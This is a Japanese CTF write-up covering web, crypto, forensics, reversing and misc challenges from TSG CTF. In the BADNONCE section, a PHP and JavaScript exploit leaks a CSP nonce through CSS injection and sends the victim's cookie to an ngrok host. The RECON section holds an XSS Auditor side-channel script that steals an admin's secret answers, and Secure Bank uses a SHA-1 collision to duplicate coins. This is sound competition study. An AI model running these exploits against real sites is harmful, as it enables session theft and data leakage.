Try   HackMD

TSG CTF write-up (NaruseJun)

English version: https://hackmd.io/s/HJhnHwTiE

Sanity Check (Warmup 100pts)

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

BADNONCE Part 1 (Web 247pts)

CSPが有効になっているページでXSSしてCookieを盗ってください、という問題でした。

<meta http-equiv="Content-Security-Policy" content="script-src 'nonce-<?= $nonce ?>';">

問題名が BADNONCE なので明らかにnonceの実装が悪そうです。
実際、以下のようにセッションIDに対してnonceが固定なので、これが漏れるとXSSが可能になります。

<?php
session_start();
$nonce = md5(session_id());

件のnonceは、ページ内の要素の属性として存在しています。

<script nonce=<?= $nonce ?>>
				console.log('Welcome to the dungeon :-)');
</script>

ところで、このページではscript-srcのみ制限されているので、たとえばスタイルシートなどは外部ソースから読み込み放題です。
したがって、CSS Injectionが可能です。セレクタを工夫することによって、要素の属性値を特定することができますね。

【参考リンク】
CSS Injection 再入門 – やっていく気持ち
https://diary.shift-js.info/css-injection/

ただし、管理者のブラウザを模したクローラは、毎回異なるPHPSESSIDを持つため、1度の起動で最後までnonceを抜きとって、XSSを踏ませるところまでやらないといけません。
ちょっと面倒ですが、管理者に攻撃車が用意したURLをIFRAMEで開き続けるページを踏ませて、InjectするCSSを変えながら、最終的にXSSを発火させるようにしました。
以下のような実装になりました。Web問のExploitにしてはちょっと重めかも。もっと頭のいい方法が存在する可能性もあり。

<?php
	if (array_key_exists("save", $_GET)) {
		file_put_contents("flag.txt", $_GET["save"] . PHP_EOL, LOCK_EX | FILE_APPEND);
	}
	else if (array_key_exists("nonce", $_GET)) {
		$nonce = file_get_contents("nonce.txt");
		if (strlen($nonce) < strlen($_GET["nonce"])) {
			file_put_contents("nonce.txt", $_GET["nonce"], LOCK_EX);
		}
	}
	else if (array_key_exists("css", $_GET)) {
		header("Content-Type: text/css");
		echo("script { display: block }" . PHP_EOL);

		$nonce = file_get_contents("nonce.txt");
		$chars = str_split("0123456789abcdef");

		foreach ($chars as $c1) {
			foreach ($chars as $c2) {
				$x = $nonce . $c1 . $c2;
				echo("[nonce^='" . $x . "'] { background: url(http://cf07fd07.ap.ngrok.io/?nonce=" . $x . ") }" . PHP_EOL);
			}
		}
	}
	else if (array_key_exists("go", $_GET)) {
		$nonce = file_get_contents("nonce.txt");
		if (strlen($nonce) < 32) {
			header("Location: http://35.187.214.138:10023/?q=%3Clink%20rel%3D%22stylesheet%22%20href%3D%22http%3A%2F%2Fcf07fd07.ap.ngrok.io%2F%3Fcss%3D" . microtime(true) . "%22%3E");
		}
		else {
			header("Location: http://35.187.214.138:10023/?q=%3Cscript%20nonce%3D%22" . $nonce . "%22%3Efetch(%22http%3A%2F%2Fcf07fd07.ap.ngrok.io%2F%3Fsave%3D%22%20%2B%20encodeURIComponent(document.cookie))%3C%2Fscript%3E");
		}
	}
	else if (array_key_exists("start", $_GET)) {
		file_put_contents("nonce.txt", "", LOCK_EX);
		file_put_contents("flag.txt", "", LOCK_EX);
?>
<html>
<body>
<script>
	setInterval(() => {
		const iframe = document.createElement("iframe");
		iframe.src = `?go=${(new Date).getTime()}`;
		document.body.appendChild(iframe);
	}, 256);
</script>
</body>
</html>
<?php
	}
	else {
		echo("E R R O R !");
	}
?>

Secure Bank (Web 497pts)

rubyで書かれたアプリケーションで、コインの送受信ができます。
たくさんのコインを集めれば、FLAGが入手できるようです。

  get '/api/flag' do
    return err(401, 'login first') unless user = session[:user]

    hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)}

    res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_user
    row = res.next
    balance = row && row[0]
    res.close

    return err(401, 'login first') unless balance
    return err(403, 'earn more coins!!!') unless balance >= 10_000_000_000

    json({flag: IO.binread('data/flag.txt')})
  end

怪しいのは送金コードで、こういう形。

  post '/api/transfer' do
    return err(401, 'login first') unless src = session[:user]

    return err(400, 'bad request') unless dst = params[:target] and String === dst and dst != src
    return err(400, 'bad request') unless amount = params[:amount] and String === amount
    return err(400, 'bad request') unless amount = amount.to_i and amount > 0

    sleep 1

    hashed_src = STRETCH.times.inject(src){|s| Digest::SHA1.hexdigest(s)}
    hashed_dst = STRETCH.times.inject(dst){|s| Digest::SHA1.hexdigest(s)}

    res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_src
    row = res.next
    balance_src = row && row[0]
    res.close
    return err(422, 'no enough coins') unless balance_src >= amount

    res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_dst
    row = res.next
    balance_dst = row && row[0]
    res.close
    return err(422, 'no such user') unless balance_dst

    balance_src -= amount
    balance_dst += amount

    DB.execute 'UPDATE account SET balance = ?  WHERE user = ?', balance_src, hashed_src
    DB.execute 'UPDATE account SET balance = ?  WHERE user = ?', balance_dst, hashed_dst

    json({amount: amount, balance: balance_src})
  end

ぱっと見たところ、トランザクションを考慮していないので、高頻度でリクエストを飛ばせばRace Conditionで二重送金ができそうだったんですが、軽く試したところ、タイミングがシビアでほとんどうまくいかなかったので、この方針は諦めました。

ところで、このコードをもう少しよく見ると、宛先と送金元が同一のユーザであったとき、コインが増殖することは明らかです。
もちろん、自分自身への送金はエラーになる実装となっているんですが、残高の照会をユーザ名をハッシュした値で行っているのに対して、ユーザの同一性判定は元の文字列で行っています。
つまりは、別の文字列であって、SHA1ハッシュの結果が同一になる文字列の組がもし存在すれば、無限にコインを増やすことができそうです。

SHA1の衝突といえば……SHAtteredですよね。
詳しい理屈はググってもらうとして、これを用いれば、先に述べた要件を満たすような文字列(というかバイト列)の組が用意できます。

JSONとしてnon-printableな文字を送る際に破壊されないように注意しつつ、以下のようにして用意しました。

<?php
	$s1 = file_get_contents("shattered-1.pdf");
	$s2 = file_get_contents("shattered-2.pdf");

	$t1 = substr($s1, 0, 320) . "narusejun";
	$t2 = substr($s2, 0, 320) . "narusejun";

	echo(sha1($t1) . PHP_EOL);
	echo(sha1($t2) . PHP_EOL);

	function toStr($c) {
		$i = ord($c);
		if ($c == '"') {
			return '\\"';
		}
		if ($c == '%') {
			return '%%';
		}
		if ($i < 0x20) {
			return sprintf("\\u%04x", $i);
		}
		if ($i < 0x7F) {
			return $c;
		}
		return sprintf("\\x%02x", ord($c));
	}
	$u1 = implode(array_map(toStr, str_split($t1)));
	$u2 = implode(array_map(toStr, str_split($t2)));

	echo($u1 . PHP_EOL);
	echo($u2 . PHP_EOL);
?>

この文字列のどちらかを使って登録した上で、もう一方の文字列を宛先として指定して送金すると、コインが増殖します。
curlを使うと容易です。

RECON (Web 500pts)

Web問です。PHPで実装された、プロフィールを登録できるサービスです。
秘密の質問として20種類のフルーツが好きか否かを選択できるようになっていて、どうやらadminの好きなフルーツをRECONすれば良いみたいです。

ソースコードを見ると、自身のプロフィールを確認するページで露骨にCSPが弱められていて、怪しさがあります。

$response->withHeader("Content-Security-Policy", "script-src-elem 'self'; script-src-attr 'unsafe-inline'; style-src 'self'")

この要素は新しい機能なので、script-src-elemscript-src-attrが効いていなくて、実質XSSし放題になっているようでした。
しかしながら、このページはログインしたユーザ自身のプロフィールを表示するものですので、狙った相手にコードを実行させるのは厳しそうな雰囲気があります。

ところで、そもそも何故script-src-attrなどという特殊な(?)制限が付されているのでしょうか?
この答えは、このページのソースを注意深く見るとすぐに気が付きました。

🍇 <input type="checkbox" id="grapes" onchange="grapes.checked=false;" >
🍈 <input type="checkbox" id="melon" onchange="melon.checked=false;" >
🍉 <input type="checkbox" id="watermelon" onchange="watermelon.checked=false;" >
🍊 <input type="checkbox" id="tangerine" onchange="tangerine.checked=false;" >
🍋 <input type="checkbox" id="lemon" onchange="lemon.checked=false;" >
🍌 <input type="checkbox" id="banana" onchange="banana.checked=false;" >
🍍 <input type="checkbox" id="pineapple" onchange="pineapple.checked=false;" >
🍐 <input type="checkbox" id="pear" onchange="pear.checked=false;" >
🍑 <input type="checkbox" id="peach" onchange="peach.checked=false;" >
🍒 <input type="checkbox" id="cherries" onchange="cherries.checked=false;" >
🍓 <input type="checkbox" id="strawberry" onchange="strawberry.checked=false;" >
🍅 <input type="checkbox" id="tomato" onchange="tomato.checked=false;" >
🥥 <input type="checkbox" id="coconut" onchange="coconut.checked=false;" >
🥭 <input type="checkbox" id="mango" onchange="mango.checked=false;" >
🥑 <input type="checkbox" id="avocado" onchange="avocado.checked=false;" >
🍆 <input type="checkbox" id="aubergine" onchange="aubergine.checked=false;" >
🥔 <input type="checkbox" id="potato" onchange="potato.checked=false;" >
🥕 <input type="checkbox" id="carrot" onchange="carrot.checked=false;" >
🥦 <input type="checkbox" id="broccoli" onchange="broccoli.checked=false;" >
🍄 <input type="checkbox" id="mushroom" onchange="mushroom.checked=false;" >

秘密の質問がプロフィールページに表示されているんですが、この変更を禁止する目的でJavaScriptが用いられているのでした!
このコードのみ実行できるようにする目的で、部分的なunsafe-inlineが許容されていたようです。

もし、この小さなJavaScriptコードを盗むことができれば、adminの好きなフルーツを知ることできそうです。
このページでは、X-XSS-Protection: 1; mode=blockというヘッダが送信されていて、XSS Auditorがブロックモードで動作することが期待されていて、adminのブラウザもこれに従っているでしょう。
こういう場合に、XSS Auditorの誤検出を利用して、ページ内のスクリプトを盗む手法が存在します。

【参考リンク】
ブラウザのXSSフィルタを利用した情報窃取攻撃 | MBSD Blog
https://www.mbsd.jp/blog/20160407_2.html

これを利用できそうです。(できました。)
以下のような2つのIFRAMEを表示させれば、どちらか一方をXSS Auditorがブロックするはずです。

<iframe src='http://34.97.74.235:10033/profile?onchange="melon.checked=true;"'></iframe>
<iframe src='http://34.97.74.235:10033/profile?onchange="melon.checked=false;"'></iframe>

この性質を利用し、攻撃者のページで2つのIFRAMEを開かせて、どちらがブロックされたかを判別すれば良いですね。
IFRAME要素のcontentWindow.lengthを見ると、XSS Auditorが作動したか否かを簡単に判別できるようでしたが、手元で試したときに何故かうまくいかなかったので(これは勘違いだったかもしれませんが)、onloadが発火するまでの時間を計測するちょっと面倒な方法で判別しています。
XSS Auditorが作動すると、関連リソースの読み込みが走らないので、onloadが早く呼ばれるはずです。

以下のように実装し、IFRAMEをプロフィールに埋め込んで、adminにアクセスさせました。
JavaScriptの記法モダンだったりレガシーだったりしていて、気持ち悪いんですが、終了ギリギリで解いていたためいろいろ焦っていて、見当違いの試行錯誤をしていた名残です。

<?php
	if(array_key_exists("save", $_GET)){
		file_put_contents("save.txt", $_GET["save"] . PHP_EOL, FILE_APPEND | LOCK_EX);
		echo("OK!");
	}else{
?>
<html>
<body>
<script>

function test(key, val){
	return new Promise(function(resolve){
		const iframe = document.createElement("iframe");
		iframe.onload = function(){
			iframe.remove();
			resolve([key, val, new Date().getTime() - time]);
		};
		iframe.src = `http://34.97.74.235:10033/profile?onchange="${key}.checked=${val};"`;
		const time = new Date().getTime();
		document.body.appendChild(iframe);
	});
}

(async () => {
	const results = [];
	for(let i = 0; i < 1; i++){
		results.push([
			await test("mushroom", true),
			await test("mushroom", false),
		]);
	}
	location.href = "?save=" + results;
})();
</script>
</body>
</html>
<?php
	}
?>

これを用いて、フルーツ1種類ごとに計測した結果が以下のとおりです。
Captchaを連打する必要があって、激ツラかったです。チームメイトにひたすらCaptchaしてもらいました。(もっと頭の良い実装をすればよかった気もしますが。)

フルーツ trueのonload(ms) falseのonload(ms) 判定結果
grapes 84 334 TRUE
melon 347 65 FALSE
watermelon 245 47 FALSE
tangerine 78 394 TRUE
lemon 83 418 TRUE
banana 73 255 TRUE
pineapple 79 452 TRUE
pear 252 48 FALSE
peach 74 281 TRUE
cherries 76 336 TRUE
strawberry 79 318 TRUE
tomato 77 353 TRUE
coconut 77 333 TRUE
mango 92 404 TRUE
avocado 254 47 FALSE
aubergine 85 333 TRUE
potato 249 46 FALSE
carrot 72 321 TRUE
broccoli 428 40 FALSE
mushroom 87 388 TRUE

あとは、この結果を用いてadminのrecoveryメッセージ(FLAG)を表示させることができました。

OPQRX (Crypto 497pts)

RSA暗号

N=PQ,X=PQ,E=65537,C=(flag)EmodN
この4つが与えられるので
flag
を求めよ。

hxpCTF2017 のfleaが類題。
下のビットから決めていくDFSを書くと良い。
普通にDFS書くと(4096ビットもあって)スタックが溢れるので非再帰で実装。

X = 95035(中略)51960
N = 24746(中略)09489
E = 65537
C = 38292(中略)05157

def extgcd(a,b)
    g,x,y = a,1,0
    if b != 0
        o = extgcd(b,a%b)
        g = o[:g]
        x = o[:y]
        y = o[:x] - (a/b)*x
    end
    return {g:g, x:x, y:y}
end
def modinv(a,m)
    o = extgcd(a,m)
    x = o[:x]
    x += m if x < 0
    return x
end

BITS = 4096

ansp, ansq = -1, -1

stack = []
stack.push([0,0,0])
cnt = 0
while stack.length > 0
    cnt += 1
    if cnt % 100000 == 0
        puts "cnt=#{cnt}: stack=#{stack.length}"
    end
    x,y,i = stack.pop
    if x*y==N
        ansp, ansq = x, y
        break
    end
    next if i==BITS
    v = (X>>i) & 1
    for dx in [0,1]
        for dy in [0,1]
            next if (dx^dy) != v
            nx = x + (dx<<i)
            ny = y + (dy<<i)
            msk = (1<<(i+1))-1
            next if ((nx*ny)&msk) != (N&msk)
            stack.push([nx,ny,i+1])
        end
    end
end

puts ansp
puts ansq

# ansp = 58349(中略)66043
# ansq = 42410(中略)83523

D = modinv(E, (ansp-1)*(ansq-1))
F = C.pow(D,N)

puts [F.to_s(16)].pack("H*")

TSGCTF{Absolutely, X should be 'S' in 'OPQRX'.}

OMEGA (Crypto 500pts)

ω=exp(23πi) として
Z[ω]
をアイゼンシュタイン整数という。
アイゼンシュタイン整数上での加算乗除と剰余算が用意されている。
flag=(flag1,flag2)Z[ω]
moduloi=(moduloi,1,moduloi,2)Z[ω]
で割った余りが相違なる20個の
moduloi
について与えられる。
flag
を復元せよ。

一般的な整数環であれば、中国人剰余定理の適用によって元の値を一意に復元可能である。
用意された加算乗除と剰余算が環として成り立っているのであれば、そのまま中国人剰余定理を適用できる。(この辺の記述は数ヤに怒られそう)

アイゼンシュタイン整数において、同伴という概念があり、処理の途中で何故か同伴な値になってしまう(答えが異なってしまう)ことがあったので、そこだけ若干全探索を行った。

require_relative 'params'

def to_complex(x)
  a, b = x
  w = Math::E ** Complex(0, Math::PI*2.0/3.0)
  a + b*w
end

def add(x, y)
  a, b = x
  c, d = y
  [a+c, b+d]
end

def sub(x, y)
  a, b = x
  c, d = y
  [a-c, b-d]
end

def mul(x, y)
  a, b = x
  c, d = y
  [a*c - b*d, a*d + b*c - b*d]
end

def div(x, y)
  xc, yc = to_complex(x), to_complex(y)
  a, b = (xc / yc).rect
  [(a + b/Math.sqrt(3)).round, (b*2.0/Math.sqrt(3)).round]
end

def mod(x, y)
  # many times...
  100.times do
    k = div(x, y)
    x = sub(x, mul(k, y))
  end
  x
end

$units = [[1,0],[-1,0],[0,1],[0,-1],[1,1],[-1,-1]]

def extgcd(a,b)
  g = a
  x = [1,0]
  y = [0,0]
  if b != [0,0]
      o = extgcd(b,mod(a,b))
      g = o[:g]
      x = o[:y]
      y = sub(o[:x],mul(div(a,b),x))
  end
  return {g:g, x:x, y:y}
end
def modinv(a,m)
  o = extgcd(a,m)
  x = o[:x]
  return x
end

N = PROBLEM.length

r = [0,0]
m = [1,0]
for i in 0...N
  item = PROBLEM[i]
  b = item[0]
  md = item[1]
  o = extgcd(m,md)
  g = o[:g]
  p = div(o[:x], g)
  md = div(md, g)
  tmp = mod(mul(sub(b,r),p),md)
  if i == 1 || i == 4
    tmp = mul(tmp,$units[1])  # ???
  end
  r = add(r,mul(m,tmp))
  m = mul(m,md)

  # check
  puts "CHECK"
  for j in 0..i
    print "#{j}=#{PROBLEM[j][0] == mod(r,PROBLEM[j][1])},"
  end
  puts ""
end

f1,f2 = r
puts [f1.to_s(16)].pack("H*")
puts [f2.to_s(16)].pack("H*")
flag = f1 * (1<<(8*37)) + f2
puts [flag.to_s(16)].pack("H*")
TSGCTF{I_H34RD_S0ME_IN7EGERS_INCLUDI
NG_EISENSTEIN'S_F0RM_EUCL1DE4N_R1NG!}
TSGCTF{I_H34RD_S0ME_IN7EGERS_INCLUDING_EISENSTEIN'S_F0RM_EUCL1DE4N_R1NG!}

Harekaze (Stego 499pts)

ForensicallyのError Level Analysisを使って、ほんの少し読める画像を生成した。
Imgur
そして、懸命にguessした。

Obliterated File (Forensics 92pts)

ローカルリポジトリが与えられる。
コマンドミスで普通に過去コミットを漁ればflagというファイルがあったらしい。

該当コミットをチェックアウト後、flagの内容を出力するように、若干main.crを変更。

require "zlib"

flag = File.open("./flag", "r") do |f|
    Zlib::Reader.open(f) do |inflate|
        inflate.gets_to_end
    end
end

puts flag

実行。

$ crystal main.cr
TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master}

Obliterated File Again (Forensics 178pts)

git gcされているらしいから、とりあえず.git/packed-refsを見る。

# pack-refs with: peeled fully-peeled sorted 
072690c0aaf46bc7875b67d6323b8f8d2074aaca refs/heads/master
1c80e25f51797b19dfbdeb0e2831ebd9bba64ab8 refs/original/refs/heads/master

1c80e25fをチェックアウトする。

$ git checkout 1c80e25f

あとはObliterated Fileと同様。

$ crystal main.cr
TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master_S0rry_f0r_m4king_4_m1st4k3_0n_th1s_pr0bl3m}

ffi (Reversing 488pts)

ttfファイルが与えられる。
言われたとおり、適当にフラグを打ってみる。

TSGCTF{flag}という文字列を表示させると、flagが正しくない場合、TSGCTF{flag} is incorrectという見た目になる。

FontForgeで開くと、下の方に怪しげな文字が見える。

glyph346} is correctglyph347} is incorrectのような見た目である。

Element > Font Info > Lookupsを見ると、大量にLigatureが設定されていて、これによって文字列の見た目を変えている。
この設定から、どの文字列を表示させた時にis correctになるかを辿れば良い。

検索性が悪いから、fonttoolsを使う。

$ pip install fonttools
$ ttx ffi.ttf

} is correctに該当するglyph00346を検索する。

  <Lookup index="51">
    <LookupType value="1"/>
    <LookupFlag value="0"/>
    <!-- SubTableCount=1 -->
    <SingleSubst index="0" Format="2">
      <Substitution in="a" out="glyph00102"/>
      <Substitution in="b" out="glyph00113"/>
      <Substitution in="braceright" out="glyph00346"/>
      <Substitution in="c" out="glyph00114"/><Substitution in="z" out="glyph00323"/>
    </SingleSubst>
  </Lookup>

ある特定の文字列で}glyph00346が表示される。
<Lookup index="51">に注目する。
"51"を検索する。

<ChainContextSubst index="51" Format="3">
  <!-- BacktrackGlyphCount=1 -->
  <BacktrackCoverage index="0" Format="1">
    <Glyph value="glyph00140"/>
  </BacktrackCoverage>
  <!-- InputGlyphCount=1 -->
  <InputCoverage index="0" Format="2">
    <Glyph value="underscore"/>
    <Glyph value="a"/>
    <Glyph value="b"/>
    :
    <Glyph value="y"/>
    <Glyph value="z"/>
    <Glyph value="braceright"/>
  </InputCoverage>
  <!-- LookAheadGlyphCount=0 -->
  <!-- SubstCount=1 -->
  <SubstLookupRecord index="0">
    <SequenceIndex value="0"/>
    <LookupListIndex value="51"/>
  </SubstLookupRecord>
</ChainContextSubst>

完全には意味が分かってないけどとりあえずBacktrackしていく。
次にglyph00140を検索する。

  <Lookup index="130">
    <LookupType value="1"/>
    <LookupFlag value="0"/>
    <!-- SubTableCount=1 -->
    <SingleSubst index="0" Format="2">
      <Substitution in="a" out="glyph00103"/>
      :
      <Substitution in="d" out="glyph00128"/>
      <Substitution in="e" out="glyph00140"/>
      <Substitution in="f" out="glyph00144"/>
      :
      <Substitution in="z" out="glyph00324"/>
    </SingleSubst>
  </Lookup>

ある特定の文字列でeglyph00140が表示される。

以降、index="130"glyph00219(n)→
と辿ると、TSGCTF{ligature_state_machine}となる。

試しに表示してみるとこうなる。

Recorded (Misc 500pts)

以下のスクリプトを使ってinputを解読した。

#include <assert.h>
#include <fcntl.h>
#include <linux/input.h>
#include <stdio.h>
#include <sys/time.h>

int main(void)
{
  int fd = open("input", O_RDWR);
  assert(fd != -1);

  for (;;) {
    struct input_event event;
    assert(read(fd, &event, sizeof(event)) == sizeof(event));
    if (event.type == 0x1 && event.value == 0x1) {
      switch (event.code) {
        case KEY_1:
          putchar('1');
          break;
        case KEY_2:
          putchar('2');
          break;
        case KEY_3:
          putchar('3');
          break;
        case KEY_4:
          putchar('4');
          break;
        case KEY_5:
          putchar('5');
          break;
        case KEY_6:
          putchar('6');
          break;
        case KEY_7:
          putchar('7');
          break;
        case KEY_8:
          putchar('8');
          break;
        case KEY_9:
          putchar('9');
          break;
        case KEY_0:
          putchar('0');
          break;
        case KEY_MINUS:
          putchar('-');
          break;
        case KEY_EQUAL:
          putchar('=');
          break;
        case KEY_Q:
          putchar('q');
          break;
        case KEY_W:
          putchar('w');
          break;
        case KEY_E:
          putchar('e');
          break;
        case KEY_R:
          putchar('r');
          break;
        case KEY_T:
          putchar('t');
          break;
        case KEY_Y:
          putchar('y');
          break;
        case KEY_U:
          putchar('u');
          break;
        case KEY_I:
          putchar('i');
          break;
        case KEY_O:
          putchar('o');
          break;
        case KEY_P:
          putchar('p');
          break;
        case KEY_LEFTBRACE:
          putchar('(');
          break;
        case KEY_RIGHTBRACE:
          putchar(')');
          break;
        case KEY_ENTER:
          putchar('\n');
          break;
        case KEY_A:
          putchar('a');
          break;
        case KEY_S:
          putchar('s');
          break;
        case KEY_D:
          putchar('d');
          break;
        case KEY_F:
          putchar('f');
          break;
        case KEY_G:
          putchar('g');
          break;
        case KEY_H:
          putchar('h');
          break;
        case KEY_J:
          putchar('j');
          break;
        case KEY_K:
          putchar('k');
          break;
        case KEY_L:
          putchar('l');
          break;
        case KEY_SEMICOLON:
          putchar(';');
          break;
        case KEY_APOSTROPHE:
          putchar('\'');
          break;
        case KEY_GRAVE:
          putchar('`');
          break;
        case KEY_BACKSLASH:
          putchar('\\');
          break;
        case KEY_Z:
          putchar('z');
          break;
        case KEY_X:
          putchar('x');
          break;
        case KEY_C:
          putchar('c');
          break;
        case KEY_V:
          putchar('v');
          break;
        case KEY_B:
          putchar('b');
          break;
        case KEY_N:
          putchar('n');
          break;
        case KEY_M:
          putchar('m');
          break;
        case KEY_COMMA:
          putchar(',');
          break;
        case KEY_DOT:
          putchar('.');
          break;
        case KEY_SLASH:
          putchar('/');
          break;
        case KEY_SPACE:
          putchar(' ');
          break;
        case KEY_LEFTSHIFT:
          printf("<shift>");
          break;
        case KEY_TAB:
          printf("<tab>");
          break;
        case KEY_BACKSPACE:
          printf("<bs>");
          break;
        default:
          printf("<%d>", event.code);
      }
      //printf(": %lu\n", event.time.tv_sec);
    }
  }
  close(fd);
}

結果は以下の通り。

rm /dev/ura<tab>
rm /dev/ra<tab>
<shift>lang-c date --utc <shift>. /dev/random
echo nyan <shift>.. /dev/ra<tab>
curl -<shift>o https'//www.openssl.org/source/openssl-1.1.1b.tar.gz
tar xzvf ope<tab>
cd ope<tab><tab>
vim cry<tab>ra<tab>rand<shift><89>unix.c
637<shift>gd17d621<shift>gd2d603<shift>gdd480<shift>gd30d'wq
vim cr<tab>ra<tab>ra<tab><shift><89>li<tab>
250<shift>gd2d'wq
./co<tab>
make -j 4
cd ..
<shift>ld<89>library<89>path-./ope<tab> ./ope<tab>app<tab>ope<tab>genrsa 1024 <shift>. key.pem
<shift>ld<89>library<89>path-./ope<tab> ./ope<tab>ap<tab>ope<tab>rsautl -encrypt -inkey key.<tab>-in fl<tab>-out encrypted
fd<bs>g 1

guessしながら結果を整形した。

rm /dev/ura<tab>
rm /dev/ra<tab>
LANG=C date --utc > /dev/random (enter key tv_sec = 1556368668)
echo nyan >> /dev/ra<tab>
curl -O https://www.openssl.org/source/openssl-1.1.1b.tar.gz
tar xzvf ope<tab>
cd ope<tab><tab>
vim cry<tab>ra<tab>rand_unix.c
637Gd17d621Gd2d603Gdd480Gd30d:wq
vim cr<tab>ra<tab>ra<tab>_li<tab>
250Gd2d:wq
./co<tab>
make -j 4
cd ..
LD_LIBRARY_PATH=./ope<tab> ./ope<tab>app<tab>ope<tab>genrsa 1024 > key.pem (enter key tv_sec = 1556368884)
LD_LIBRARY_PATH=./ope<tab> ./ope<tab>ap<tab>ope<tab>rsautl -encrypt -inkey key.<tab>-in fl<tab>-out encrypted
fg 1
^C

与えられたDockerfileを使ってproblemイメージを生成しproblem上でコンテナを開始した。
コンテナの中で、以下のコマンドで/dev/urandom/dev/randomを削除し/dev/randomを再生成した。

# rm /dev/urandom
# rm /dev/random
# LANG=C date --utc --date="@1556368668" > /dev/random
# echo nyan >> /dev/random

解読結果に従って改造されたOpenSSLバイナリを作った。しかし、crypto/rand/rand_unix.cの中のget_time_stamp()を以下のように再改造した。

static uint64_t get_time_stamp(void)
{
    return 1556368884;
}

OpenSSLのソースコードを読んでkey.pem生成をランダム化する3つの因子があることを理解した。それは、/dev/random、生成時刻、生成するプロセスのIDであった。
解読結果から正しい/dev/randomと正しい生成時刻を知った。しかし、正しいPIDは分からないままだった。
したがって、encryptedをコンテナの中へコピーし、以下のコマンドで総当たり攻撃を行った。

# for ((i = 0; i < 40000; i++)); do LD_LIBRARY_PATH=./openssl-1.1.1b ./openssl-1.1.1b/apps/openssl genrsa 1024 > key.pem && LD_LIBRARY_PATH=./openssl-1.1.1b ./openssl-1.1.1b/apps/openssl rsautl -decrypt -inkey key.pem -in encrypted -out flag-${i}.txt; done
# ls -lS | more

こうして、flagを見つけた。

# cat flag-2936.txt 
TSGCTF{openssl_genrsa_is_hardly_predictable}